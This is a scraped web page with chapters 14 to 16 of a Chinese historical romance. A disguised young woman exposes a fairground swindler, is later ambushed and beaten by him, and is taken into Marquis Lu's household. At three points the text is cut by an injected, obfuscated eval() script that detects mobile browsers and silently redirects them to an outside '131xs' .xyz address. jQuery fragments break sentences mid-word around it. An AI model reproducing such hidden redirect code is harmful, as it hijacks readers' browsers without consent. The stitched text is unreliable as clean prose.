;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556910|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嫁女之心告诉了她们,之所以回来晚了,是掌柜的拉着不让她走,又苦口婆心劝了好半晌。
“哈哈哈哈哈,真的啊。”,郁春琅闻言先是掩面笑开了花,紧接着又神情严肃道:“那你婉拒了这门婚事,掌柜的不会给你穿小鞋吧?”
“那倒也不至如此,毕竟我算账还是可以的嘛,总还有用得到我的地方。”,顾初禾一边盛饭,一边笑道。
郁春琅看了一眼吃完饭正在远处逗猫的顾长意,确认她听不到这边的谈话,才放心地开玩笑道:“你要真是个男人就好了,长着这么一张俏脸,就是公主也配得,若你成了驸马,咱们这一家可不是吃穿不愁了。”
二人分坐在小几的两边,一起用饭,有说有笑。
“现在不也吃穿不愁嘛,如今这日子我已经很知足了,不奢望什么大富大贵,平安健康就好。”,顾初禾夹起青菜送入口中,低头的瞬间看见了腰间别着的折扇,她皱了皱眉,将折扇取出来放到桌上。
“对了,今日掌柜的还跟我说了一件事。他说我这把折扇,是象牙所制,价值千金。”
“啊?这么贵重?你不是说,那个叫陆砚舟的男子家世平平,他母亲只是个贵夫人身边的侍女吗?一个侍女的儿子,哪来的钱买这么个稀罕物啊?”,郁春琅搁下筷子,细细端详了折扇,她从没见过象牙,也分辨不出是真是假。
“难道,他跟你说的身世是假的?还是说…这折扇是他偷来的?”
顾初禾摇头,几乎脱口而出,“都不像,我觉得他不是那种奸恶行盗之人,至于身世…或许另有隐情吧。”
“象牙这么珍贵的东西,我只听说外邦给宫里进贡过,咱们平头老百姓想买都买不到…”
郁春琅思忖了片刻,蹙了蹙眉,忽然惊喜道:“那男子出手阔绰,又住在京城里,还曾夸下海口让你遇困时去找他。这怎么听都不像个侍女的儿子啊,倒像是皇亲国戚。他又姓陆…你说,他该不会就是当今陛下的宠臣,景义候陆祳吧?”
“陆祳…”
这个名字顾初禾已经从许多人口中听说过,大多都是夸他年少有为,不到二十岁就立下屡屡战功,从圣上伴读,到如今声名远扬的景义候。
当然,也有不少人对他敬而远之,毕竟他是圣上的宠臣,位高权重,就连圣上的亲皇叔绫王他都敢得罪,还有什么是他不敢做的。
谁也不想无意中冲撞了他,便丢了小命。
“我听闻,这陆祳如今十九岁,四年前也是刚过舞象之年,正好和你所说的少年年龄对得上。”,郁春琅帮着分析了一通,可又觉得有些不对,迟疑道:“只是,众人都管他叫陆祳,不曾听说他还有个别名叫陆砚舟啊…”
“若他真的是陆祳,而我的身上背着顾家巫蛊案的罪名,那我最该做的就是离他远一些,免得暴露身份。”
顾初禾并不图他报恩,只求余生安稳,比起大富大贵,她更怕性命不保…
14. 失踪 十日后
十日后
上元佳节,华灯初上,京城的集市一片热闹非凡。
舞龙舞狮的队伍,锣鼓喧天,巨龙在舞者的舞动下,时而盘旋时而腾飞。
顾初禾和郁春琅带着顾长意,穿梭在熙熙攘攘的人群中。
不远处,有一摊贩设下射击游戏,不论男女老少,凡是用弹弓连中十次锣心之人,皆可在红箱内抽取一次奖励,其中最珍贵的奖品,便是一旁木架上的七彩云绸风筝。
寻常风筝的骨架一般都是毛竹做的,蒙面多用宣纸,可这个风筝格外耀眼,骨架是红木的,蒙面用的是丝绸,薄如蝉翼,色彩斑斓。
孩童们见了这风筝纷纷走不动道,央求爹娘试着去射击锣心,但可惜已有五十多人试过,能连中十次的不过寥寥数人。
即便达到了抽奖的要求,也很难抽中那只风筝。
“哥哥,我想要,你也试试好不好?”,顾长意的目光也被吸引过去,满是期待。
顾初禾看她那么喜欢,左右试试也不过十个铜板,不如碰碰运气。
“好,那我也去玩玩。”
她径直走到摊主面前,交了十个铜板。
之后从自己的怀里掏出弹弓,闭上一只眼睛,瞄准锣心后,深吸一口气,手腕轻扬,弹丸如离弦之箭般飞射而出,“咚”的一声,精准无误地射中锣心。
周围的看客瞬间爆发出一阵热烈的掌声和叫好声:“厉害厉害,这小公子射得可真准啊!”
顾初禾没有停顿太久,趁热打铁,紧接着,第二射,第三射,次次不离锣心,周围瞬间爆发出雷鸣般的喝彩。
众人的目光似火,紧紧追随着她的一举一动。
原本顾初禾只是想娱乐一场,输赢都无所谓,此刻却担负着众人的期望,使她备感压力…
抬手搭弓的瞬间,双手竟微微颤抖起来。
她深吸一口气,“呼…”
筋弦紧绷,弹丸在松手的刹那,空中划过一道完美的弧线。
所有人都屏住呼吸,目光紧紧跟随着那弹丸移动。
终于,弹丸稳稳的砸中红圈,围观的人群瞬间爆发出排山倒海般的欢呼声,众人纷纷围拢过来,投来钦佩的目光。
“太厉害了,哥哥!!!”,顾长意跳起来扑进顾初禾的怀里,一张小脸上洋溢着得意又自豪的笑。
顾初禾宠溺地拍拍她的脑袋,很快摊主就来到她面前。
“小公子天赋异禀,恭喜恭喜。”,摊主的手中捧着一个福字方箱走过来,笑得谄媚。
“此箱中有十片树叶,九片为绿色,一片为金色,若你抽中金色,那只七彩风筝便是您的了。”
顾初禾自认手气一般,但总共只有十片树叶,想来还是有胜算的,只是这七彩风筝价值名贵,
摊主就不怕有人运气绝佳,真就将那风筝抽中带走,那岂不是亏大发了…
她伸手揣入福箱洞口,还未拿出来的时候,就已经低头看了一眼,是绿色叶片。
而摊主的脸上也挂着自信的笑,仿佛早就知道她抽不中金色一般。
她忽然灵机一动,将自己抽中的叶片握在手心,不向任何人展示,便大声笑道:“我中了,是金色的。”
果然,摊主立刻就变了脸色,大喊道:“什么?不可能!”
“为什么不可能?”,顾初禾含笑挑眉,问道:“摊主,我手气好,抽中了金叶有什么稀奇。”
“我不信,你把掌心摊开给我看!”,摊主伸手去抢,试图强行掰开顾初禾的拳头。
顾初禾向右闪避,死活都不肯给他看,并笑道:“不如,还是摊主你先给众人看看箱子里有没有金叶吧,若是没有,那我这片不是金色是什么?”
“这…这不合章法,你只需将自己手中那片拿给大家看即可,何须如此麻烦,非叫我倒出箱子里的那些做什么?”
摊主额头上细密的汗珠不受控制地渗了出来,眼睛低垂着,不敢直视他人,嘴唇微微颤抖。
他心虚的神情,引得了围观人群的质疑。
“这摊主脱口而出便是不可能,他如此笃定,怕不是这箱子里压根没有金色的叶片吧?”
“是啊,方才也有几位小兄抽过这个箱子,却都没抽到金叶,莫非有假…”
众人纷纷附和,摊主的脸色越发难看了。
他知道自己的骗局已经被戳穿,再待下去恐怕要吃不了兜着走。
突然,他猛地把福箱朝众人砸去,趁着众人躲避的间隙,抱着那只风筝转身就跑。
他行骗多年,多少有点子功夫,一个翻身就上了客栈的房顶,欲溜之大吉。
众人扯烂了福箱,将叶片摊在地上,“果然都是绿叶,这人就是个骗子!”
屋顶上,摊主脚下生风,望着哄闹的人群得意一笑,自以为即将逃离现场。
却不想,客栈对街的酒楼上,陆砚舟已看热闹多时,他也早就看出这摊主是在行骗耍奸,只是在等一个时机出手。
他手腕一抖,身前的碟子如同一枚暗器,带着凌厉的风声朝着骗子射去,精准地砸中了骗子的脚踝。
那骗子毫无防备,发出一声闷哼,身体瞬间失去平衡,在屋顶上踉跄了几步,最终还是没站稳,重重的摔了下来。
围观的人们皆义愤填膺,冲过去将他团团围住,又是踹又是骂,只有顾初禾仰起头,注意到了酒楼二层靠窗位置的陆砚舟。
只是她在下,他在上,虽看得到有个身影,却辨不出是谁。
官府的人闻声赶了过来将骗子带走了,众人都称顾初禾慧眼如炬,若非她识破了骗局,只怕还会有更多人上当,至于那只风筝也就传到了顾长意的手上。
风波过去,人们渐渐散了,该逛灯会逛灯会…
顾初禾她们吃了许多美食,游玩了两个时辰后,心满意足地回了家。
两个多月后…
春和景明,城郊一片草长莺飞之景。
顾长意得了那只风筝,总嚷着要出门去放着玩儿,可前些天阴雨连绵,直到今日才放晴。
顾初禾帮她整理好风筝线,陪着她在草地上奔跑玩耍,郁春琅则在溪边垂柳下,折下一根柳枝,灵巧地编织成一个翠绿的花环。
不远处是一片绚烂的桃林,粉白的桃花开得正艳,微风拂过,花瓣纷纷扬扬飘落,宛如一场花雨。
郁春琅摘下几朵桃花插在花环上,作为点缀。
“意儿,可别跑太远。”,顾初禾没力气了,回来找郁春琅拿水喝。
“快歇歇吧,意儿都这么大了,自己会照顾自己的。”,郁春琅将水壶递给她,又拿起她的折扇扇风,“出这么些汗…”
“没事儿,难得意儿高兴。”
顾初禾喝完水拍拍屁股站了起来,行至溪边,潺潺溪水清澈见底,水底的石子和游鱼清晰可见。
她捧起一汪清水洗了把脸,回头时看到郁春琅正在向自己靠近,她偷笑着撩起一捧水,洒向郁春琅,水珠在阳光下闪烁着晶莹的光芒。
“好呀你,竟然敢泼我,看我怎么收拾你!”,郁春琅咯咯笑着,蹲下身用尽全身力气回泼顾初禾。
两人在溪边玩得不亦乐乎,可那头的顾长意却出了意外。
“啊!我的风筝!”
顾初禾与郁春琅休战,一起朝顾长意的方向跑。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556911|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她们抬头一瞧,原来是风筝断了线…
“意儿别急,我去给你找回来。”,说着,顾初禾就要往风筝落下的地方去寻。
郁春琅觉得前面是深山,一个人前往不太安全,劝她算了,还是别找了。
“不打紧,你们先找个地儿坐着,我去找找,找不到就回来。”,顾初禾不想让妹妹失望,而且这风筝价贵,丢了也怪可惜的。
前方虽是山路,可风筝飞得不远,约莫在山林入口处就能找着了。
郁春琅劝不住她,只好带顾长意先去小溪边洗洗手,吃点果子。
树林中,古木参天,枝叶交错,地上铺满厚厚的落叶,踩上去发出“沙沙”的声响。
顾初禾寻着风筝的踪迹,越走越深。山路崎岖,她又湿了衣裳,走得很是艰难。
就在她走两步就要打一个喷嚏,即将体力消耗之时,余光瞥见了那只彩光熠熠的风筝。
她顿时又有劲儿了,提起裙摆朝着风筝的位置小跑,可就在她快要抓住风筝的瞬间,脚下却突然一滑。
一张大网上覆了层厚厚的树叶,顾初禾踩了上去,绳索一紧,她便被吊在了树上,像一只待宰的羔羊。
顾初禾心中一沉,她深知自己陷入了一场危机。
果不其然,就在她刚被悬吊起来的瞬间,树后蹿出来两个男人。
其中一个她眼熟的很,正是那日上元节在街头行骗的摊主,他不知使了什么手段,竟然这么快就被官府放了出来。
“小王八羔子,可算被老子逮着机会了,上回你当着那么多人的面拆老子的台,还害老子被关进牢狱吃了两个月的苦!”
这骗子原本就有些尖细的眼睛,此刻笑得眯成了两条弯弯的缝,阴冷又得意,“今儿你落到我手里,可就等着受罪吧!”
顾初禾失了防备,此刻叫天不应叫地不灵,叫他把自己放了更是痴人说梦。
她望着四周茂密的树林,闭上闭眼睛。
两个骗子用利刃隔断了绳索,她从高空直接坠下,整个身子就跟裂了缝似的疼痛。
“你这小狗崽子,让你拆台,我让你拆台!”,摊主恶狠狠地骂道,随后就是一阵拳打脚踢,顾初禾疼得冷汗直冒冷汗…
另一边,郁春琅一脸担忧地望着远方,总觉得事有不妙。
“姐姐,哥哥怎么去了这么久还不回来?”,顾长意也等得焦急了,“要不我们去找他吧。”
眼看着天色渐暗了,郁春琅担心顾初禾出了什么意外,或是遇到了山野猛兽,点点头道:“好,咱们去看看。”
两人手拉着手,一路找,一路喊,但顾初禾都没有回应。
“姐姐快看,那个是什么?”,顾长意指着一片荆棘丛,一支树丫上挂着片小小的布料,是顾初禾衣服上的。
再往前走了两步,还有一张白色的大网,地上的树叶染上了斑斑血迹…
“天呐…”,郁春琅将布料捏在手里,四处张望却寻不到顾初禾的身影,她的眼泪瞬间决堤,“初禾!!!你在哪儿!!”
她们在山里找了将近两个时辰,但除了这片布料,什么线索也没有。
无可奈何下,郁春琅只好带着顾长意先回了家,然后又去报官,说有人失踪了。
她心急如焚声泪俱下,可回应她的,只有官府大门“砰”的一声关闭。她无权无势,家里丢了个人压根请不动官兵出动。
郁春琅连续三日又去山里找人,一次比一次走得更深,几个邻居听闻顾初禾失踪了,便说可能是被猛兽给吃了,否则怎么会一点踪迹都没有…
她听了更是泪如雨下,心中满是绝望和无助。
15. 入府
顾初禾昏迷了三日,这三日里她一直都在做噩梦,梦到了父母被杀的场景,哭得肝肠寸断…
渐渐苏醒后,她只觉得脑袋昏沉,眼皮似有千斤重。
缓缓睁开眼睛,映入眼帘的是一顶华丽的锦帐,绣着繁复精美的花纹,金线在微光下闪烁。
她惊惶地坐起身,环顾四周,只见墙壁上挂着名贵的书画,案几上摆放着珍奇异宝,床榻是用上等檀木制成,散发着淡雅的香气,锦被轻柔,触手生温。
“这是哪儿,我怎么会在这儿?”,顾初禾喃喃自语,声音中带着几分颤抖。
她只记得自己在山林中受困,被那个骗子摊贩捶打到头昏眼花,即将晕厥过去的时候,似乎听见有一阵急促迅捷的马蹄声朝自己靠近,之后她便失去了意识。
她双腿发软,刚准备下床看看这屋里有什么蛛丝马迹,或许能看出这是谁的府邸。
可就在她的双脚刚落地时,房门“吱呀”一声被推开。
她赶紧躺回原位装睡。
只听两个年轻姑娘小声嘀咕着什么…
“这都昏睡三日了,怎么还不醒?”
“或许是伤得太重了,侯爷将他带回府的那日,他口中都是鲜血,瞧着都快咽气了,要不是净尘师傅曾留下三颗救命药丸,只怕他这会儿都去见阎王爷了。”
“那你说,侯爷为何要救他呀,这小子瞧着也不像什么尊客贵胄,竟值得用那么价值连城的药丸给他治病吗?”
“咱们老夫人一心向佛,大约侯爷是为了给老夫人积福吧,不是说救人一命胜造七级浮屠吗?”
“有道理…”
“行了,喂完药咱就出去吧。”
两位侍女将她的头轻轻抬起,小心翼翼的将汤药喂入口中,又用毛巾给她擦拭嘴角,然后才端着喝尽了的药碗退了出去。
直到房门再次关上,顾初禾才缓缓睁开眼。
“她们方才说我吃的药是净尘师傅留下的,净尘…净尘…为何这么耳熟?”
顾初禾扶着头坐了起来,拼命去回忆这个法号是谁,终于…她的脑海中闪过一个画面。
四年前,天福寺,那个带着顾氏夫妇去见住持的僧人,正是净尘!
“是他!?”
时隔四年,她总算再次闻得了一丝有关当年巫蛊之事的蛛丝马迹,若她能见到那个净尘,或许就可以从他口中套出当年设下巫蛊案的幕后之人是谁。
只可惜,自那事之后,净尘就离开了天福寺,云游四方,没几个人知道他的下落。
她这么久以来,从未忘记过与父母分别的那一晚是何等悲痛,之后从路人的口中得知父母惨死于剧毒侵脉,凶手是谁却无人知晓。
至今就连恨,她都不知道该恨谁。
她掀被下床,扶着墙壁走到窗边,几缕碎发垂落在白皙的颈边,更衬得她面容憔悴。
她倚在雕花窗前,眼神空洞而又迷茫,望向窗外那片陌生却又精致的庭院。
庭院中,假山错落有致,一湾清池边枝叶嫩芽在微风中轻轻摇曳。
曲折的回廊下悬挂着几盏灯笼,昏黄的灯光在风中摇晃,好似随时都会熄灭。
顾初禾的目光被其中一盏灯笼上的“陆”字牢牢吸引,那简单的一笔一划,此刻却像是一道无解的谜题。
她的脑海中思绪万千,正出神间,一阵脚步声由远及近,她下意识地后退了两步,心脏也开始砰砰狂跳。她深吸一口气,准备迎接即将到来的未知。
片刻后,一个挺拔的身影逆光而立,熟悉的眉眼让顾初禾的心陡然一震。
她一眼就认了出来,他鼻尖上的痣太过特别,哪怕是匆匆一面,也很难忘记。
来者正是陆砚舟,他身着紫色长袍,腰间玉佩温润,神色却透着疏离与疑惑。
他打量着顾初禾,目光中却没有半分喜色,仿佛眼前的她,只是个素未谋面的陌生人。
侯府,这里是景义候府,陆祳的府宅。
陆祳,竟然真的就是陆砚舟。
“你醒了?”,陆砚舟的双手背在身后,踱步到她面前,“你叫什么名字,家住哪里?”
顾初禾被他的气势吓到了,四年前那个温润有礼的少年,如今竟已是权倾朝野的景义候。
而她历经坎坷,容貌也与当年有所不同。
当年她以面巾遮脸,只有一双眼眸曾与他对视良久,如今现在穿着一身男装,举手投足都是男子模样,他没认出自己,也属当然。
“回侯爷的话,小人乃是京郊郁氏,名…初禾。”,她说起自己名字时顿了顿。
这名字是她爹娘取的,虽如今不姓顾了,可万一陆砚舟知道巫蛊案的顾氏夫妇有一双女儿,长女名叫顾初禾,幼女顾长意,那她可就暴露了身份。
但好在,此时已过去四年,就连皇位都换了人,两个手无缚鸡之力的女子,构不成什么威胁,新帝似乎也没有派人追查她们的下落。
所以知道她们身份的人并没有多少,就连当年顾府的仆人,也都以为已经她们姐妹早就客死异乡了。
陆砚舟闻听她的姓名,也没什么特别的反应,只是看了她一眼,便要转身离开,临走时说道:“你走失三日,想必家中亲眷担忧不已,既醒了,本侯便派人送你回去。”
“侯爷!”,见他要走,顾初禾突然叫住了他,她不假思索地就跪了下去,语气急切。
“小人蒙侯爷大恩,不得不报,若侯爷不弃,小人愿做个侍从,跟在您身边尽心侍奉。”
前不久,她还跟郁春琅说过,要是有朝一日碰见陆祳,她一定得躲着走。可如今得知净尘与他的关系匪浅,这侯府她是铁了心要留下了。
“你…”,陆砚舟回眸,见她面色憔悴却目光坚定。
他迟疑了一下,很快又道:“也罢,正好本侯身边缺个长随小厮,瞧着你也是读过书的,又知恩图报,往后就留在侯府吧。”
“多谢侯爷!小人算账泡茶都会,侯爷可随时差遣…”,
她必须想办法留在侯府,才有机会打探到僧人净尘的下落。
顾初禾生怕他觉得她无用,恨不能将自己所会的技艺全都说出来。
可陆砚舟并未即刻安排她做事,只留下一句“不急,先养伤,再当差”,便转身离开了。
次日
顾初禾写了封信托人带给郁春琅,告知她自己现在何处,有要事待处理,等到弄清楚心中疑虑,便会回家。
又书信一封交给典当行的掌柜,称自己身患顽疾,便辞了账房之职。
郁春琅看了信,已经将她的心思猜了个七八分,只是担心她跟在陆祳身边会受委屈,更怕她身份暴露小命不保。
侯府东院,书房
陆砚舟如今不仅是景义候,更是负责镇压叛乱,抵御外敌的将军。
他虽回了京城,可边城防卫的部署,武器装备和粮草的供应补足,都需他来拿主意,因此他已连续两日待在书房处理公务,不见客也不出门了。
他专注地审阅着手中堆积如山的公文,不时提笔在上面圈圈点点。
这时,书房的门被轻轻推开,身姿轻盈的侍女云翠端着一盏热气腾腾的茶盏,款步而入。
她莲步轻移,走到书桌旁,轻声说道:“侯爷,您喝口茶,提提神。”
陆砚舟微微抬眸,目光从公文上移开,接过茶盏,浅抿一口,茶香瞬间在齿间散开,疲惫之感也似乎减轻了几分。
“前几日我带回来的那个人伤势如何了?”
云翠答道:“大夫今日又来把了脉,说是已无大碍。”
陆砚舟点了点头,摆手示意她退下,又伏首看公文。
直到暮色渐浓,将整座庭院笼罩在一片
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556912|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
静谧的幽暗中,他才从书房的雕花木门缓缓步出。
他揉了揉酸涩的脖颈,抬眸望向天边那最后一抹余晖,不觉间,已在书案前埋首了整整一日。
腹中传来的阵阵饥饿感,驱使他朝着厨房的方向走去。
灶台上,一盏豆灯摇曳着昏黄的光,将他的身影拉得修长。
他在橱柜间翻找,所幸还留有几碟小菜,却已没了热气,难解一时之饥。
半个时辰前,云翠问过他是否要用晚饭,他说不饿,让厨娘不必给他备餐。
而这时已过了饭点,厨娘也回房中歇息了,总不好突然把人叫起来炒几个热菜。
恰在此时,一阵细碎的脚步声由远及近,厨房门口,一个纤细的身影出现。
顾初禾这两日已觉好多了,便常常下床走动,自己将喝完的药碗送回厨房,却不想陆砚舟也在这里。
她推门而入,看见陆砚舟正对着几碟小菜发愣…
“侯爷?您是不是饿了?”
陆砚舟的脸上闪过一丝不自然,尴尬地咳了两声,“我…我就是随便看看。”
顾初禾抿嘴轻笑,也不拆穿他,径直走到灶台前,“要不,我给您包馄饨吃吧,很快就好。”
“你还会包馄饨?”
“是,我母亲唯一拿手的小食就是馄饨,她曾教过我的。”,顾初禾与他对话的同时,手中已忙碌了起来。
她现在要尽可能的多和陆砚舟接触,拉近两人的关系,最好是能获得他的信任,才能为以后探听消息打下基础。
陆砚舟也没离开厨房,而是找了个凳子坐下,看着她擀皮,剁馅,沸水下锅,动作瞧着倒是行云流水,就是不知道味道怎么样。
不一会儿,热气腾腾的馄饨端上了桌。
陆砚舟闻了闻味儿,还挺香的,他手心朝下一摆,对顾初禾道:“你也坐吧。”
顾初禾倒也没跟他客气,拉开板凳坐在方桌右侧。
他舀起一个馄饨放入口中,慢嚼了几下…
“怎么样,好吃吗?”,顾初禾满怀期待地看着他,眼中闪烁着紧张与渴望得到认可的光芒,双手不自觉地揪着衣角。
陆砚舟目光从馄饨上移到她脸上,微微颔首,神色平静,让人捉摸不透。
咽下之后,缓缓吐出两个字:“尚可。”
顾初禾的笑容瞬间僵在脸上,尴尬地扯了扯嘴角,眼神里闪过一丝失落。
她低下头,掩饰着内心的情绪。
腹诽道:“也是,他这样的权贵什么山珍海味没吃过,一碗馄饨算什么…”
虽说他的评价如此平淡,可她寄人篱下,也没那个胆量敢掀了桌子,只能忍了。
陆砚舟嘴上说着尚可,馄饨却一个接一个的下肚,吃了个半饱的时候,突然问道:“你母亲,现在何处?”
这话一出,原本在开小差的顾初禾,长睫微微颤动。
她极力掩盖眼中转瞬即逝的哀伤。短暂的沉默后,努力让自己的声音听起来平静如常:“过世了。”
陆砚舟的表情没有变化,捧起汤碗将最后一口喝了个干净。
看着空碗,顾初禾抿了抿嘴,憋笑调侃道:“侯爷,不是说不好吃吗,这不都吃完了?”
“本侯说的是,尚可。”
顾初禾在内心翻了个白眼,暗骂他死鸭子嘴硬。
“是,那小人努力精进手艺,争取下次能得到您的称赞。”
说罢,顾初禾站起身收碗,准备去井边清洗干净。
陆砚舟见状拉住了她,“放着吧,明日厨娘会来收拾的。水凉,你大病初愈就别碰冷水了。”
这话,这场景…
顾初禾恍惚间回到了在天福寺初遇他的那天,他也说过类似的话。
只是,她如今有罪名在身,即使曾有过一昔的缘分,也无法相认。
16. 比试
京城的春日,繁花似锦,暖风和煦。
陆砚舟今日受邀参加一场京城贵胄间的春日雅集,这场聚会以射箭马球比试为乐,京城中一众王公贵族的青年才俊都会到场。
马球会设在城郊一处开阔的演武场,四周绿草如茵,繁花点缀其间。
临行前,侍女用托盘送了套新衣进她房里,也不说话,放下就走了。
她满脸疑惑,缓缓展开新衣,只见这件蓝色的长衫绣工精美,丝线在日光下闪烁着温润的光泽,袖口和领口处绣着细腻的花纹,一看便价值不菲。
穿上这身衣裳,再经过后院,侯府的侍女们目光纷纷投向她,小声议论道:
“你别说,人靠衣装马靠鞍,这小子换了身行头,瞧着还挺俊朗。”
“是呀,斯斯文文的,瞧着像个读书人的样子。”
侯府门前,晨光熹微,薄雾还未完全散去。
曾管事站在台阶下,神色匆匆,正指挥着几个仆人套马车。
“动作都麻利些,侯爷等下就要出门了!”,曾管事扯着嗓子喊道。
几个仆人赶忙应和,手忙脚乱地将马匹套上马车,又仔细检查缰绳、车辕是否牢固。
这时,一个年轻的小厮忍不住好奇,小声嘀咕道:“奇怪,侯爷一向爱骑马出门,今儿怎么突然要坐马车了?”
这话恰好被曾管事听到,他立刻走过去,抬手拍了拍小厮的头,佯怒道:“主人家的事,也是你能随便问的?少打听,多做事,再啰嗦看我不罚你!”
小厮缩了缩脖子,连忙闭上嘴,低下头继续干活。
其他仆人也都憋着笑,不敢再出声。
就在这时,陆砚舟迈着沉稳的步伐走了出来。他身着一袭劲装,腰间束着一条墨色腰带,脊背如松气度不凡。
曾管事见状,立刻迎上前去,恭敬地说道:“侯爷,马车已备好。”
陆砚舟微微点头,目光不经意间扫过马车,他抬脚正要上车,顾初禾极有眼力见地扶了他一把。
之后,她便站在车旁,等着车夫挥鞭赶马。
陆砚舟掀开车帘,歪着头蹙眉瞄了她一眼:“还不上车,等什么呢?”
“侯爷,小人身份低微,怎么能和您同乘一车…”,顾初禾眉眼间满是诧异与犹豫。
看着她畏缩的模样,陆砚舟眉头微蹙,眼中闪过一丝不悦:“让你上车便上车,哪来这么多规矩?莫要耽误了时辰。”
“是。”
顾初禾怕他动怒,赶忙爬上了车。
她坐在车内,与他面对面,身子紧绷,连大气都不敢出。
“怎么,不自在?”
顾初禾抬眼与他对视,有些拘谨地笑着道:“侯爷莫怪,小人自出生以来,还未穿过这么好的衣裳。无功不受禄,小人惶恐。”
“我好歹也是有军功在身的侯爷,若身边的小厮穿着太过寒酸,可是会被人说笑的。”,陆砚舟漫不经心的跟她解释道。
“是,小人明白了。”
之后,二人一路无言,陆砚舟合眼小憩,顾初禾见他睡着了,偷偷摸摸的掀开窗帘的一条小缝,想看看外头的风景。
待陆砚舟带着顾初禾抵达时,场中已是热闹非凡,众人纷纷向他行礼问好,目光却不时落在顾初禾身上,眼中满是好奇与疑惑。
他与绫王不和,是众人皆知的事,却偏偏被安排坐在同一个观赛席上。
“王爷,许久不见,听闻您身患腿疾,今日竟还亲临马球会,真是精力旺盛啊,陆祳实在佩服。”
陆砚舟微微欠身,语气关切,却又隐隐透着一丝讥讽。
绫王坐在特制的软榻上,脸色瞬间阴沉下来,皮笑肉不笑地回应道:“景义侯有心了,本王虽腿疾在身,可这京城盛事,怎可错过?倒是侯爷,整日忙于边关事务,还有闲情来此消遣,莫不是前线太平无事了?”
陆砚舟闻言心中冷笑,面上却不动声色,朗声道:“托王爷的福,边疆安稳,百姓安康。我这才有空来凑个热闹,左右也是闲着,不如我为您寻几个好大夫,仔细治治腿疾。”
绫王咬了咬牙,眼神中闪过一丝狠厉,旋即又堆满笑容:“你的好意,本王心领了。只是这治病之事,还是得找信得过的人,不是吗?”
周围的贵族们闻声,纷纷投来好奇的目光,却又不敢轻易靠近,生怕卷入这场暗流涌动的交锋之中。
陆砚舟和绫王依旧面带微笑,你来我往,言语间的火药味却越来越浓,表面上和和气气,实则早已剑拔弩张。
顾初禾跟在他身后,听他句句暗藏锋芒,面和心不和地与绫王斡旋,深感权贵重臣也不是谁都能当的…
马球比赛随着一声锣声响,正式开始。
陆砚舟骑着一匹矫健的黑马,如离弦之箭冲入赛场。
他身姿矫健,目光如炬,手中的球杆挥舞得虎虎生风,每一次击球都带着十足的力道。
赛场上,马蹄声击球声交织在一起,气氛热烈到了极点。
陆砚舟驾马高高跃起,挥动球杆,一记漂亮的抽射,将球狠狠地打入了对方球门。
顿时全场欢呼声掌声如潮水般涌来。
陆砚舟勒住缰绳,高高扬起下巴,脸上露出了得意的笑容。
获胜方的彩头是一只月白釉双龙耳瓶,成色极佳。
陆砚舟不爱这些器皿摆件,便由旁人争去了。
顾初禾早已在赛场边候着,见陆砚舟下马,立刻迎了上去。
她跑到陆砚舟面前,双手一拍,毫不吝啬地夸赞道:“侯爷,您方才在赛场上的英姿,可真是让我大开眼界,那击球的力度,那策马的身姿,简直把所有人都比下去了!”
陆砚舟闻言嘴角微微上扬,眼中满是笑意,看似不在意地摆了摆手,实则心里十分受用。
见他似有笑意,顾初禾就知道自己马屁拍到点子上了,她正欲多夸几句时,左侧却突然闪出一个少年的身影。
少年笑得眼睛眯成了缝,双手抱拳,语气里满是恭维,“景义候的球技,在这京城可真是数一数二的好,却尘佩服。”
陆砚舟嘴角挂着恰到好处的微笑,微微欠身还礼,谦逊道:“国舅爷谬赞了,我今日不过是运气好些,哪能和您比。此次回京我便听陛下常夸您是武学奇才,箭无虚发,摔跤时身手利落,球技更是出神入化。”
两人你来我往,互相恭维,言语间满是官场的客套。
顾初禾站在不远处,静静地看着这一幕。
她的目光在陆砚舟身上停留,看着他应对自如的模样,心中不禁泛起一丝感慨。
怪不得四年前,陆砚舟刚从火海逃生,便表现得沉稳得体,想来是自小就在深宫里与这些权贵打交道,已然对任何事都波澜不惊了。
顾初禾稍稍抬眸偷瞄了一眼那个少年,陆砚舟管他叫国舅爷,那他就是当今皇后的同胞亲弟,佟却尘?
这时,她想起初到京城那日,也就是在他的马蹄下救了郁春琅。
佟却尘,就是当年那个狂妄不羁的少年!?
那年他不过十三四岁的模样,如今瞧着身形修长,褪去了青涩,周身散发着一种与生俱来的矜贵气质。
他在陆砚舟面前故作乖巧,和当年在街头纵马伤人的骄横少年判若两人。
或许是她的目光太过专注,佟却尘似是有所感应,微微转过头来。
顾初禾心中一惊,想要躲避却已经来不及。
佟却尘微微皱眉,眼中闪过一丝疑惑,“侯爷,这位是?”
“哦,他是我的门客郁公子,近日在帮我处理一些公务杂事。”
